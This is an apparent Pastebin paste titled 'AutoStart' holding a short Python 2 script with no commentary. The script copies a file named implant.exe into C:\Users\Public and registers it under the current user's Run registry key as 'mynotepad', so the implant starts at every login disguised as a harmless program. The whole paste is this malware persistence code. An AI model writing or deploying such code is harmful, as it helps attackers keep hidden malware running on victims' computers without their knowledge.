Guest User

AutoStart

a guest
Aug 19th, 2016
500
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.44 KB | None | 0 0
  1. import os
  2. import shutil
  3.  
  4. from _winreg import *
  5.  
  6.  
  7. n = os.getcwd()
  8. b = n + '\implant.exe'
  9. try:
  10.     shutil.copy2(b , 'C:\Users\Public\implant.exe')
  11.     key_my = OpenKey(HKEY_CURRENT_USER,
  12.                  r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
  13.                  0, KEY_ALL_ACCESS)
  14.  
  15.     SetValueEx(key_my, 'mynotepad', 0, REG_SZ, r'C:\Users\Public\implant.exe')
  16.  
  17.     CloseKey(key_my)
  18. except Exception as e:
  19.     print 'suka'
Advertisement
Add Comment
Please, Sign In to add comment